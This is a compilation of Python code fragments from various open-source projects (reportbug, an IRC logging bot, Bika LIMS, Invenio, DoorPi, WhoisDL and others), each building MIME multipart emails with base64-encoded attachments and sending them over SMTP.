def mime_attach(body, attachments, charset, body_charset=None): mimetypes.init() message = MIMEMultipart('mixed') bodypart = BetterMIMEText(body, _charset=(body_charset or charset)) bodypart.add_header('Content-Disposition', 'inline') message.preamble = 'This is a multi-part MIME message sent by reportbug.\n\n' message.epilogue = '' message.attach(bodypart) failed = False for attachment in attachments: try: fp = file(attachment) fp.close() except EnvironmentError, x: ewrite("Warning: opening '%s' failed: %s.\n", attachment, x.strerror) failed = True continue ctype = None cset = charset info = Popen(['file', '--mime', '--brief', attachment], stdout=PIPE, stderr=STDOUT).communicate()[0] if info: match = re.match(r'([^;, ]*)(,[^;]+)?(?:; )?(.*)', info) if match: ctype, junk, extras = match.groups() match = re.search(r'charset=([^,]+|"[^,"]+")', extras) if match: cset = match.group(1) # If we didn't get a real MIME type, fall back if '/' not in ctype: ctype = None # If file doesn't work, try to guess based on the extension if not ctype: ctype, encoding = mimetypes.guess_type(attachment, strict=False) if not ctype: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': fp = file(attachment, 'rU') part = BetterMIMEText(fp.read(), _subtype=subtype, _charset=cset) fp.close() elif maintype == 'message': fp = file(attachment, 'rb') part = MIMEMessage(email.message_from_file(fp), _subtype=subtype) fp.close() elif maintype == 'image': fp = file(attachment, 'rb') part = MIMEImage(fp.read(), _subtype=subtype) fp.close() elif maintype == 'audio': fp = file(attachment, 'rb') part = MIMEAudio(fp.read(), _subtype=subtype) fp.close() else: fp = file(attachment, 'rb') part = MIMEBase(maintype, subtype) part.set_payload(fp.read()) fp.close() email.Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment', filename=os.path.basename(attachment)) message.attach(part)
def bot(): global args global base_path # -s HOST="irc.freenode.net" if (args.server): HOST=args.server # -p PORT=6667 if (args.port): PORT=args.port # -n NICK="IRC_Bot" if (args.nick): NICK=args.nick # -i IDENT="bot" if (args.ident): IDENT=args.ident # -r REALNAME="IRC Bot" if (args.real): REALNAME=args.real # -c CHANNEL="irclib" if (args.channel): CHANNEL=args.channel #server connect IRCsocket=socket.socket() IRCsocket.connect((HOST, PORT)) IRCsocket.send("NICK %s\r\n" % NICK) IRCsocket.send("USER %s %s bla :%s\r\n" % (IDENT, HOST, REALNAME)) IRCsocket.send("JOIN #%s\r\n" % CHANNEL) database = os.path.dirname(base_path) + "log.db" db = use_plugin(args.plugin, os.path.dirname(base_path)) if not isfile(database): db.create(database) buffer = "" online = set() while 1: buffer=buffer + IRCsocket.recv(1024) irc=string.split(buffer, "\n") buffer=irc.pop() for msg in irc: msg=string.rstrip(msg) msg=string.split(msg) print msg if(msg[0]=="PING"): IRCsocket.send("PONG %s\r\n" % msg[1]) elif ((msg[1] == "PRIVMSG") & (msg[2] == NICK)): db.add(database, msg[1], msg[0].split("!")[0][1:], " ".join(msg[3:])) if (msg[3][1:] == "mail"): if args.m_address: if args.m_server: if len(msg) > 3: mail = MIMEMultipart() mail["From"] = args.m_address mail["To"] = msg[4] mail["Subject"] = "IRC Log" mail['Date'] = formatdate(localtime=True) part = MIMEBase('application', "octet-stream") part.set_payload( open(database,"rb").read() ) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(database)) mail.attach(part) server = smtplib.SMTP(args.m_server) if args.m_username: if args.m_password: server.login(args.m_username, args.m_password) try: failed = server.sendmail(args.m_address, msg[4], mail.as_string()) server.close() except Exception, e: errorMsg = "Unable to send email. Error: %s" % str(e) elif (msg[3][1:] == "when"): if len(msg) > 3: if msg[4] in online: IRCsocket.send("PRIVMSG %s :%s is now online\r\n" % (msg[0].split("!")[0][1:], msg[4])) else: IRCsocket.send("PRIVMSG %s :%s was last seen %s\r\n" % (msg[0].split("!")[0][1:], msg[4], db.seen(database, msg[4]))) elif (msg[1] == "JOIN"): db.add(database, msg[1], msg[0].split("!")[0][1:], msg[2]) online.add(msg[0].split("!")[0][1:]) elif (msg[1] == "PART"): db.add(database, msg[1], msg[0].split("!")[0][1:], msg[2]) online.discard(msg[0].split("!")[0][1:])
<head></head> <body> <p>South Processing Identity Quality Observations for the week ending """ + sat_date.strftime('%m%d%y') + """<br> <br> Click <a href="mailto:[email protected]?Subject=Weekly%20Quality%20Email%20Issue">here</a> and email to request changes.. </p> </body> </html> """ # Record the MIME types of both parts - text/plain and text/html. part1 = MIMEText(text, 'plain') part2 = MIMEText(html, 'html') # Attach parts into message container. # According to RFC 2046, the last part of a multipart message, in this case # the HTML message, is best and preferred. msg.attach(part1) msg.attach(part2) part = MIMEBase('application', 'octet-stream') part.set_payload(open(file_name, 'rb').read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="' + file_name +'"') msg.attach(part) # Send the message via local SMTP server. s = smtplib.SMTP('smtp.akst.com') # sendmail function takes 3 arguments: sender's address, recipient's address # and message to send - here it is sent as one string. s.sendmail(me, you, msg.as_string()) s.quit()
password = raw_input('Password: '******'To: ') smtp_server = raw_input('SMTP server: ') # 邮件正文是MIMEText: msg = MIMEMultipart() msg.attach( MIMEText( '<html><body><h1>Hello</h1>' + '<p><img src="cid:0"></p>' + '</body></html>', 'html', 'utf-8')) msg['From'] = _format_addr(u'Python lover <%s>' % from_addr) msg['To'] = _format_addr(u'admin <%s>' % to_addr) msg['Subject'] = Header(u'from SMTP...', 'utf-8').encode() with open('e:\\1.png', 'rb') as f: # 设置附件的MIME和文件名,这里是png类型: mime = MIMEBase('image', 'png', filename='test.png') # 加上必要的头信息: mime.add_header('Content-Disposition', 'attachment', filename='test.png') mime.add_header('Content-ID', '<0>') mime.add_header('X-Attachment-Id', '0') # 把附件的内容读进来: mime.set_payload(f.read()) # 用Base64编码: encoders.encode_base64(mime) # 添加到MIMEMultipart: msg.attach(mime) server = smtplib.SMTP(smtp_server, 25) server.starttls() server.set_debuglevel(1) server.login(from_addr, password)
def send_mail(fromaddr, password, toaddr, filename, path, sbj="Confirmation mail", msg="TEXT YOU WANT TO SEND"): try: logging.info("Starting server : smtp.gmail.com") server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() except Exception as exp: logging.warn("While starting server an error occurred!") logging.error(exp, "Check your internet connection!") return logging.debug("Server started using port : 587") try: logging.info("Login using id {} and pass".format(fromaddr)) server.login(fromaddr, password) except: logging.error("Incorrect Email-Id/Password") return logging.info("Creating an instance of MIMEMultipart as 'mail'") mail = MIMEMultipart() try: logging.info("Adding subject, text and attachments to mail") mail['From'] = fromaddr mail['To'] = toaddr mail['Subject'] = sbj mail.attach(MIMEText(msg, 'plain')) attachment = open(path, "rb") part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= %s" % filename) mail.attach(part) text = mail.as_string() except Exception as exp: logging.warn("While setting up mail error occured") logging.error(exp) server.sendmail(fromaddr, fromaddr, text="Error: {}".format(exp)) server.quit() return try: logging.info("Sending mail to '{}'".format(toaddr)) server.sendmail(fromaddr, toaddr, text) server.quit() except: logging.error("While sending mail an error occured!") server.quit() return logging.info("Mail was sent successfully") return
def __call__(self): rc = getToolByName(self.context, REFERENCE_CATALOG) workflow = getToolByName(self.context, 'portal_workflow') BatchEmail = self.context.bika_setup.getBatchEmail() username = self.context.portal_membership.getAuthenticatedMember( ).getUserName() self.reporter = self.user_fullname(username) self.reporter_email = self.user_email(username) # signature image self.reporter_signature = "" c = [ x for x in self.bika_setup_catalog(portal_type='LabContact') if x.getObject().getUsername() == username ] if c: sf = c[0].getObject().getSignature() if sf: self.reporter_signature = sf.absolute_url() + "/Signature" # lab address self.laboratory = laboratory = self.context.bika_setup.laboratory self.lab_address = "<br/>".join(laboratory.getPrintAddress()) # group/publish analysis requests by contact ARs_by_contact = {} for ar in self.analysis_requests: contact_uid = ar.getContact().UID() if contact_uid not in ARs_by_contact: ARs_by_contact[contact_uid] = [] ARs_by_contact[contact_uid].append(ar) for contact_uid, ars in ARs_by_contact.items(): ars.sort() self.contact = ars[0].getContact() self.pub_pref = self.contact.getPublicationPreference() batch_size = 'email' in self.pub_pref and BatchEmail or 5 # client address self.client = ars[0].aq_parent self.client_address = "<br/>".join(self.client.getPrintAddress()) self.Footer = self.context.bika_setup.getResultFooter() # send batches of ARs to each contact for b in range(0, len(ars), batch_size): self.batch = ars[b:b + batch_size] self.any_accredited = False self.any_drymatter = False # get all services from all requests in this batch into a # dictionary: # {'Point Of Capture': {'Category': [service,service,...]}} self.services = {} out_fn = "_".join([ar.Title() for ar in self.batch]) for ar in self.batch: if ar.getReportDryMatter(): self.any_drymatter = True states = ("verified", "published") for analysis in ar.getAnalyses(full_objects=True, review_state=states): service = analysis.getService() poc = POINTS_OF_CAPTURE.getValue( service.getPointOfCapture()) cat = service.getCategoryTitle() if poc not in self.services: self.services[poc] = {} if cat not in self.services[poc]: self.services[poc][cat] = [] if service not in self.services[poc][cat]: self.services[poc][cat].append(service) if (service.getAccredited()): self.any_accredited = True # compose and send email if 'email' in self.pub_pref: # render template ar_results = self.ar_results() ar_results = safe_unicode(ar_results).encode('utf-8') debug_mode = App.config.getConfiguration().debug_mode if debug_mode: open( join(Globals.INSTANCE_HOME, 'var', out_fn + ".html"), "w").write(ar_results) ramdisk = StringIO() pdf = createPdf(ar_results, ramdisk) pdf_data = ramdisk.getvalue() ramdisk.close() if debug_mode: open( join(Globals.INSTANCE_HOME, 'var', out_fn + ".pdf"), "wb").write(pdf_data) mime_msg = MIMEMultipart('related') mime_msg['Subject'] = self.get_mail_subject() mime_msg['From'] = formataddr( (encode_header(laboratory.getName()), laboratory.getEmailAddress())) mime_msg['To'] = formataddr( (encode_header(self.contact.getFullname()), self.contact.getEmailAddress())) mime_msg.preamble = 'This is a multi-part MIME message.' msg_txt = MIMEText(ar_results, _subtype='html') mime_msg.attach(msg_txt) if not pdf.err: part = MIMEBase('application', "application/pdf") part.add_header( 'Content-Disposition', 'attachment; filename="%s.pdf"' % out_fn) part.set_payload(pdf_data) Encoders.encode_base64(part) mime_msg.attach(part) try: host = getToolByName(self.context, 'MailHost') host.send(mime_msg.as_string(), immediate=True) except SMTPServerDisconnected, msg: if not debug_mode: raise SMTPServerDisconnected(msg) except SMTPRecipientsRefused, msg: raise WorkflowException(str(msg)) if self.action == 'publish': for ar in self.batch: try: workflow.doActionFor(ar, 'publish') except WorkflowException: pass ## if not pdf.err: ## setheader = self.request.RESPONSE.setHeader ## setheader('Content-Type', 'application/pdf') ## setheader("Content-Disposition", "attachment;filename=\"%s.pdf\"" % out_fn) ## self.request.RESPONSE.write(pdf_data) else: raise Exception, "XXX pub_pref %s" % self.pub_pref
def send_mail(config, frm_addr, to_addr, Subject, text, headers=None, files=[], html_body=False, **kw): """ sending a mail using and without using SSL. config is a dictionary that have key, value pairs to connect mail server. We can get config dictionary from UE_config file. frm_addr - (string) id from which we send mails to_addr - (string or list) all the to addresses to send mail kw - In keywords you can give cc and bcc also. headers - It will have all the extra headers to add to mail """ #In headers we send type of data, cc, Subjects if headers is None: headers = {} #with Default settings it works without using SSL and without login. server = config.get('server') port = config.get('port', 25) startSSL = config.get('startSSL', False) startTLS = config.get('startTLS', False) username = config.get('username', None) password = config.get('password', None) cc = kw.get('cc', []) bcc = kw.get('bcc', []) def listify(x): if not isinstance(x, list): return [x] return x #Here are all the recepients. cc = listify(cc) bcc = listify(bcc) to_addr = listify(to_addr) recipients = to_addr + cc + bcc frm_addr = str(frm_addr) files = listify(files) #Here are the headers to send message.. if cc: headers['Cc'] = ", ".join(cc) headers = dictadd( { 'MIME-Version': '1.0', 'Content-Type': 'text/plain; charset=UTF-8', 'Content-Disposition': 'inline', 'From': frm_addr, 'To': ", ".join(to_addr), 'Subject': Subject }, headers) #parsing the to and from addresses import email.Utils from_address = email.Utils.parseaddr(frm_addr)[1] recipients = [email.Utils.parseaddr(r)[1] for r in recipients] #Creating a message to send from server message = MIMEMultipart() for k, v in headers.items(): message.add_header(k, v) if html_body == True: txt_msg = MIMEText(text, 'html', 'UTF-8') else: txt_msg = MIMEText(text, 'plain', 'UTF-8') message.attach(txt_msg) #message.attach(MIMEText(text)) for f in files: part = MIMEBase('application', "octet-stream") part.set_payload(open(f).read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f)) message.attach(part) #making a connection with server if startSSL: con = smtplib.SMTP_SSL(server, port) else: con = smtplib.SMTP(server) if startTLS: con.starttls() # Logging into server if username and password: con.login(username, password) #Now we are ready to send the data.. con.sendmail(from_address, recipients, message.as_string()) #Closing the connection con.quit()
smtpObj = smtplib.SMTP('m.outlook.com', 587) smtpObj.ehlo() smtpObj.starttls() smtpObj.login(user, password) #write email to = [str(recipient)] bcc = [user] tos = to + bcc fromAddr = user subject = "Open records request" text = "To whom it may concern:\n\nPlease find attached a request under public records law. If you have any questions or concerns, please email me at" + str(user) + ".\n\nThank you,\n\n" +str(name) + "\n" +str(organization) + "\n" + str(user) emailMsg = MIMEMultipart() body = MIMEText(text, 'plain') emailMsg['Subject'] = subject emailMsg['From'] = fromAddr emailMsg['To'] = ', '.join(to) emailMsg['Bcc'] = ", ".join(bcc) emailMsg.attach(body) #attach file fileMsg = MIMEBase('application','pdf') fileMsg.set_payload(file(str(filepath)).read()) Encoders.encode_base64(fileMsg) fileMsg.add_header('Content-Disposition','attachment;filename=' + str(filename)) emailMsg.attach(fileMsg) #send email and log out of SMTP server smtpObj.sendmail(fromAddr, tos, emailMsg.as_string()) smtpObj.quit()
def upload(): sendmail = request.form['sendermail'] print sendmail recipientmail = request.form['recipientmail'] msg['From'] = sendmail msg['To'] = recipientmail # Get the name of the uploaded files uploaded_files = request.files.getlist('file[]') filenames = [] zf = tempfile.TemporaryFile(prefix='mail', suffix='.zip') for file in uploaded_files: # Check if the file is one of the allowed types/extensions if file and allowed_file(file.filename): ctype = 'application/octet-stream' subtype = ctype.split('/', 1) # Make the filename safe, remove unsupported chars filename = secure_filename(file.filename) # Move the file form the temporal folder to the upload # folder we setup file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) f = os.path.join(app.config['UPLOAD_FOLDER'], filename) print "filename" + f # Save the filename into a list filenames.append(filename) print "After appending files" # with tarfile.open("eeg_files.tar", "a") as tarf: # filename3="eeg_files.tar" # ep_dir = tarfile.TarInfo("uploadedfiles") # ep_dir.type = tarfile.DIRTYPE # ep_dir.mode = 0o777 # tarf.addfile(ep_dir) # tarf.add(f) zip = zipfile.ZipFile(zf, 'a') zip.write(f) print "zip file is" + f zip.close() zf.seek(0) att = MIMEBase('application', 'zip') att.set_payload(zf.read()) encoders.encode_base64(att) att.add_header('Content-Disposition', 'attachment', filename="mail.zip") fp = open(f, 'rb') print "file reading" # att = email.mime.application.MIMEApplication(fp.read(),_subtype=subtype) # fp.close() # att.add_header('Content-Disposition','attachment',filename=filename) print "close file" msg.attach(att) print "attached attribute" print "came out of for" s = smtplib.SMTP('smtp.gmail.com') print "connected" s.starttls() print "Helloo mail sending" s.login('*****@*****.**', 'mandrill') s.sendmail(msg['From'], [msg['To']], msg.as_string()) print "Email sent" s.quit() return render_template('upload.html', filenames=filenames)
else: f.write("Descansos: " + str(salidaTemp) + " - " + str(entradaTemp)) descansos = descansos + (salidaTemp - entradaTemp) horasFinales = horas - descansos f.write ("Cod. Trab: " + codTrabajador + u" || Año: " + ano + u" || Mes: " + mes + u" || Dia: " + dia + u" || Horas: " + str(horasFinales) + u" || Descanso: " + str(descansos) ) f.write("\r\n------------------------------------------------------ FIN DIA -----------------------------------------------------------\r\n") f.write("Antes de guardar Excel "+ '\r\n') nExcel.save(cadArchivo) f.write("Guardando Excel "+ '\r\n') archExcel = open(cadArchivo,'rb') #adjunto = MIMEBase('multipart', 'encrypted') adjunto = MIMEBase('application', "octet-stream") adjunto.set_payload(archExcel.read()) archExcel.close() encoders.encode_base64(adjunto) adjunto.add_header('Content-Disposition', 'attachment', filename = cadTiempo + "_Detalle_Marcajes.xls") mail.attach(adjunto) servidor = smtplib.SMTP(servidorSMTP, 587) servidor.starttls() servidor.ehlo() servidor.login(usuarioSMTP, passSMTP) #enviamos el Email servidor.sendmail(emailEnvio, emailRecepcion, mail.as_string()) f.write ("Correo enviado ...") servidor.quit()
def render_email(from_email, to, subject, text_template=None, html_template=None, cc=None, attachments=None, **context): """ Read the templates for email messages, format them, construct the email from them and return the corresponding email message object. :param from_email: Email From :param to: Email IDs of direct recepients :param subject: Email subject :param text_template: <Text email template path> :param html_template: <HTML email template path> :param cc: Email IDs of Cc recepients :param attachments: A dict of filename:string as key value pair [preferable file buffer streams] :param context: Context to be sent to template rendering :return: Email multipart instance or Text/HTML part """ if not (text_template or html_template): raise Exception("Atleast HTML or TEXT template is required") text_part = None if text_template: if isinstance(text_template, Template): text = text_template.render(**context) else: text = unicode(render_template(text_template, **context)) text_part = MIMEText(text.encode("utf-8"), 'plain', _charset="UTF-8") html_part = None if html_template: if isinstance(html_template, Template): html = html_template.render(**context) else: html = unicode(render_template(html_template, **context)) html_part = MIMEText(html.encode("utf-8"), 'html', _charset="UTF-8") if text_part and html_part: # Construct an alternative part since both the HTML and Text Parts # exist. message = MIMEMultipart('alternative') message.attach(text_part) message.attach(html_part) else: # only one part exists, so use that as the message body. message = text_part or html_part if attachments: # If an attachment exists, the MimeType should be mixed and the # message body should just be another part of it. message_with_attachments = MIMEMultipart('mixed') # Set the message body as the first part message_with_attachments.attach(message) # Now the message _with_attachments itself becomes the message message = message_with_attachments for filename, content in attachments.items(): part = MIMEBase('application', "octet-stream") part.set_payload(content) Encoders.encode_base64(part) # XXX: Filename might have to be encoded with utf-8, # i.e., part's encoding or with email's encoding part.add_header('Content-Disposition', 'attachment; filename="%s"' % filename) message.attach(part) if isinstance(to, (list, tuple)): to = ', '.join(to) # We need to use Header objects here instead of just assigning the strings # in order to get our headers properly encoded (with QP). message['Subject'] = Header(unicode(subject), 'ISO-8859-1') message['From'] = Header(unicode(from_email), 'ISO-8859-1') message['To'] = Header(unicode(to), 'ISO-8859-1') if cc: message['Cc'] = Header(unicode(cc), 'ISO-8859-1') return message
eml_body_bin = "This is the email body in binary - two steps" msg = MIMEMultipart('mixed') msg['Reply-To'] = fro msg['Date'] = formatdate(localtime=True) msg['Subject'] = "Advising Meeting CONFIRMED" #+ dtstart msg['From'] = fro msg['To'] = ",".join(attendees) # part_email = MIMEText(eml_body.encode("ISO-8859-1"),"plain", "ISO-8859-1") part_email = MIMEText(eml_body, "plain") part_cal = MIMEText(ical, 'calendar;method=REQUEST') msgAlternative = MIMEMultipart('alternative') msg.attach(msgAlternative) ical_atch = MIMEBase('application/ics', ' ;name="%s"' % ("invite.ics")) ical_atch.set_payload(ical) Encoders.encode_base64(ical_atch) ical_atch.add_header('Content-Disposition', 'attachment; filename="%s"' % ("invite.ics")) eml_atch = MIMEBase('text/plain', '') Encoders.encode_base64(eml_atch) eml_atch.add_header('Content-Transfer-Encoding', "") msgAlternative.attach(part_email) msgAlternative.attach(part_cal) # mailServer = smtplib.SMTP('smtp.gmail.com', 587) mailServer = smtplib.SMTP('mail.engr.oregonstate.edu', 587) # mailServer.ehlo()
def send_alert(): FLOG = fileio() #Jiggery pokery to get the input domainlist to switch to a .zip extention domainlist = CON.domainlist domainlist = domainlist.split('.csv') domainlist = str(domainlist[0]) + '.zip' print '[-] Domainlist set as: ' + str(domainlist) + '\n' #Build the e-mail body email_body = 'WhoisDL has completed a run ' + str( datetime.datetime.now().strftime("%I:%M%p on %B %d, %Y")) + '\n' email_body += '\n' email_body += 'Attachments: \n' email_body += str( domainlist) + ': Full downloaded list of newly registered domains.\n' email_body += 'output.csv: Grepped output of domains based on keyword searches.\n' #Loop through each recipient in the list and send them each an e-mail for recipient_entry in CON.recipient_list: print '\r\n[-] Sending e-mail to: ' + recipient_entry FLOG.WriteLogFile(CON.logfile, '[-] Sending e-mail to: ' + recipient_entry + '\n') # Build the email message msg = MIMEMultipart() msg['Subject'] = CON.email_subject.strip() msg['From'] = CON.email.strip() msg['To'] = recipient_entry msg.attach(MIMEText(email_body)) #Build attachment 1, the full domain list, zipped... part = MIMEBase('application', "octet-stream") part.set_payload(open(str(domainlist), "rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename=' + str(domainlist)) msg.attach(part) #Build attachment 2, the actual application output part = MIMEBase('application', "octet-stream") part.set_payload(open(CON.outputdir + '/' + 'output.csv', "rb").read()) Encoders.encode_base64(part) part.add_header( 'Content-Disposition', 'attachment; filename=' + CON.outputdir + '/' + 'output.csv') msg.attach(part) #We're all Google fans... server = smtplib.SMTP("smtp.gmail.com", 587) #Fire when rdy... server.ehlo() server.starttls() server.login(CON.email.strip(), CON.password.strip()) server.sendmail(recipient_entry, recipient_entry, msg.as_string()) server.quit() print '[*] Alert email sent!' FLOG.WriteLogFile(CON.logfile, '[*] Alert email sent!\n') return 0
def forge_email(fromaddr, toaddr, subject, content, html_content='', html_images=None, usebcc=False, header=None, footer=None, html_header=None, html_footer=None, ln=CFG_SITE_LANG, charset=None, replytoaddr="", attachments=None, bccaddr=""): """Prepare email. Add header and footer if needed. @param fromaddr: [string] sender @param toaddr: [string or list-of-strings] list of receivers (if string, then receivers are separated by ',') @param usebcc: [bool] True for using Bcc in place of To @param subject: [string] subject of the email @param content: [string] content of the email @param html_content: [string] html version of the email @param html_images: [dict] dictionary of image id, image path @param header: [string] None for the default header @param footer: [string] None for the default footer @param ln: language @charset: [string] the content charset. By default is None which means to try to encode the email as ascii, then latin1 then utf-8. @param replytoaddr: [string or list-of-strings] to be used for the reply-to header of the email (if string, then receivers are separated by ',') @param attachments: list of paths of files to be attached. Alternatively, every element of the list could be a tuple: (filename, mimetype) @param bccaddr: [string or list-of-strings] to be used for BCC header of the email (if string, then receivers are separated by ',') @return: forged email as a string""" if html_images is None: html_images = {} if header is None: content = email_header(ln) + content else: content = header + content if footer is None: content += email_footer(ln) else: content += footer if charset is None: (content, content_charset) = guess_minimum_encoding(content) else: content_charset = charset subject = get_mail_header(subject) fromaddr = get_mail_header(fromaddr) toaddr = get_mail_header(toaddr) replytoaddr = get_mail_header(replytoaddr) bccaddr = get_mail_header(bccaddr) toaddr = remove_temporary_emails(toaddr) if html_content: if html_header is None: html_content = email_html_header(ln) + html_content else: html_content = html_header + html_content if html_footer is None: html_content += email_html_footer(ln) else: html_content += html_footer if charset is None: (html_content, html_content_charset) = guess_minimum_encoding(html_content) else: html_content_charset = charset msg_root = MIMEMultipart('alternative') msg_root.preamble = 'This is a multi-part message in MIME format.' msg_text = MIMEText(content, _charset=content_charset) msg_root.attach(msg_text) msg_text = MIMEText(html_content, 'html', _charset=html_content_charset) if not html_images: # No image? Attach the HTML to the root msg_root.attach(msg_text) else: # Image(s)? Attach the HTML and image(s) as children of a # "related" block msg_related = MIMEMultipart('related') msg_related.attach(msg_text) for image_id, image_path in html_images.iteritems(): msg_image = MIMEImage(open(image_path, 'rb').read()) msg_image.add_header('Content-ID', '<%s>' % image_id) msg_image.add_header('Content-Disposition', 'attachment', filename=os.path.split(image_path)[1]) msg_related.attach(msg_image) msg_root.attach(msg_related) else: msg_root = MIMEText(content, _charset=content_charset) if attachments: from invenio.bibdocfile import _mimes, guess_format_from_url old_msg_root = msg_root msg_root = MIMEMultipart() msg_root.attach(old_msg_root) for attachment in attachments: try: if type(attachment) in (list, tuple): attachment, mime = attachment if mime is None: ## Automatic guessing of mimetype mime = _mimes.guess_type(attachment)[0] if mime is None: ext = guess_format_from_url(attachment) mime = _mimes.guess_type("foo" + ext)[0] if not mime: mime = 'application/octet-stream' part = MIMEBase(*mime.split('/', 1)) part.set_payload(open(attachment, 'rb').read()) Encoders.encode_base64(part) part.add_header( 'Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attachment)) msg_root.attach(part) except: register_exception(alert_admin=True, prefix="Can't attach %s" % attachment) msg_root['From'] = fromaddr if replytoaddr: msg_root['Reply-To'] = replytoaddr if usebcc: msg_root['Bcc'] = toaddr msg_root['To'] = 'Undisclosed.Recipients:' if bccaddr: msg_root['Bcc'] += ",%s" % (bccaddr, ) else: msg_root['To'] = toaddr if bccaddr: msg_root['Bcc'] = bccaddr msg_root['Date'] = formatdate(localtime=True) msg_root['Subject'] = subject msg_root['User-Agent'] = 'Invenio %s at %s' % (CFG_VERSION, CFG_SITE_URL) return msg_root.as_string()
def forge_email(fromaddr, toaddr, subject, content, html_content='', html_images=None, usebcc=False, header=None, footer=None, html_header=None, html_footer=None, ln=CFG_SITE_LANG, charset=None, replytoaddr="", attachments=None): """Prepare email. Add header and footer if needed. @param fromaddr: [string] sender @param toaddr: [string or list-of-strings] list of receivers (if string, then receivers are separated by ',') @param usebcc: [bool] True for using Bcc in place of To @param subject: [string] subject of the email @param content: [string] content of the email @param html_content: [string] html version of the email @param html_images: [dict] dictionary of image id, image path @param header: [string] None for the default header @param footer: [string] None for the default footer @param ln: language @charset: [string] the content charset. By default is None which means to try to encode the email as ascii, then latin1 then utf-8. @param replytoaddr: [string or list-of-strings] to be used for the reply-to header of the email (if string, then receivers are separated by ',') @param attachments: list of paths of files to be attached. Alternatively, every element of the list could be a tuple: (filename, mimetype) @return: forged email as a string""" if html_images is None: html_images = {} content = render_template_to_string('mail_text.tpl', content=content, header=header, footer=footer) if type(toaddr) is not str: toaddr = ','.join(toaddr) if type(replytoaddr) is not str: replytoaddr = ','.join(replytoaddr) toaddr = remove_temporary_emails(toaddr) headers = {} kwargs = {'to': [], 'cc': [], 'bcc': []} if replytoaddr: headers['Reply-To'] = replytoaddr if usebcc: headers['Bcc'] = toaddr kwargs['bcc'] = toaddr.split(',') kwargs['to'] = ['Undisclosed.Recipients:'] else: kwargs['to'] = toaddr.split(',') headers['From'] = fromaddr headers['Date'] = formatdate(localtime=True) headers['User-Agent'] = 'Invenio %s at %s' % (CFG_VERSION, CFG_SITE_URL) if html_content: html_content = render_template_to_string('mail_html.tpl', content=html_content, header=html_header, footer=html_footer) msg_root = EmailMultiAlternatives(subject=subject, body=content, from_email=fromaddr, headers=headers, **kwargs) msg_root.attach_alternative(html_content, "text/html") #if not html_images: # # No image? Attach the HTML to the root # msg_root.attach(msg_text) #else: if html_images: # Image(s)? Attach the HTML and image(s) as children of a # "related" block msg_related = MIMEMultipart('related') #msg_related.attach(msg_text) for image_id, image_path in html_images.iteritems(): attach_embed_image(msg_related, image_id, image_path) msg_root.attach(msg_related) else: msg_root = EmailMessage(subject=subject, body=content, from_email=fromaddr, headers=headers, **kwargs) if attachments: from invenio.bibdocfile import _mimes, guess_format_from_url #old_msg_root = msg_root #msg_root = MIMEMultipart() #msg_root.attach(old_msg_root) for attachment in attachments: try: mime = None if type(attachment) in (list, tuple): attachment, mime = attachment if mime is None: ## Automatic guessing of mimetype mime = _mimes.guess_type(attachment)[0] if mime is None: ext = guess_format_from_url(attachment) mime = _mimes.guess_type("foo" + ext)[0] if not mime: mime = 'application/octet-stream' part = MIMEBase(*mime.split('/', 1)) part.set_payload(open(attachment, 'rb').read()) Encoders.encode_base64(part) part.add_header( 'Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attachment)) msg_root.attach(part) except: register_exception(alert_admin=True, prefix="Can't attach %s" % attachment) return msg_root
def fire_action_mail(smtp_to, smtp_subject, smtp_text, smtp_snapshot): try: smtp_host = doorpi.DoorPi().config.get('SMTP', 'server', 'smtp.gmail.com') smtp_port = doorpi.DoorPi().config.get_int('SMTP', 'port', 465) smtp_user = doorpi.DoorPi().config.get('SMTP', 'username') smtp_password = doorpi.DoorPi().config.get('SMTP', 'password') smtp_from = doorpi.DoorPi().config.get('SMTP', 'from') smtp_use_tls = doorpi.DoorPi().config.get_boolean( 'SMTP', 'use_tls', False) smtp_use_ssl = doorpi.DoorPi().config.get_boolean( 'SMTP', 'use_ssl', True) smtp_need_login = doorpi.DoorPi().config.get_boolean( 'SMTP', 'need_login', True) smtp_tolist = smtp_to.split() email_signature = doorpi.DoorPi().config.get_string_parsed( 'SMTP', 'signature', '!EPILOG!') if smtp_use_ssl: server = smtplib.SMTP_SSL(smtp_host, smtp_port) else: server = smtplib.SMTP(smtp_host, smtp_port) server.ehlo() if smtp_use_tls and not smtp_use_ssl: server.starttls() if smtp_need_login: server.login(smtp_user, smtp_password) msg = MIMEMultipart() msg['From'] = smtp_from msg['To'] = COMMASPACE.join(smtp_tolist) msg['Subject'] = doorpi.DoorPi().parse_string(smtp_subject) msg.attach(MIMEText(doorpi.DoorPi().parse_string(smtp_text), 'html')) if email_signature and len(email_signature) > 0: msg.attach( MIMEText('\nsent by:\n' + doorpi.DoorPi().epilog, 'plain')) if smtp_snapshot: smtp_snapshot = doorpi.DoorPi().parse_string(smtp_snapshot) if not os.path.exists(smtp_snapshot): smtp_snapshot = get_last_snapshot() try: with open(smtp_snapshot, "rb") as snapshot_file: part = MIMEBase('application', "octet-stream") part.set_payload(snapshot_file.read()) Encoders.encode_base64(part) part.add_header( 'Content-Disposition', 'attachment; filename="%s"' % os.path.basename(smtp_snapshot)) msg.attach(part) except Exception as exp: logger.exception("send not attachment for this mail: %s" % exp) server.sendmail(smtp_from, smtp_tolist, msg.as_string()) server.quit() except: logger.exception("couldn't send email") return False return True
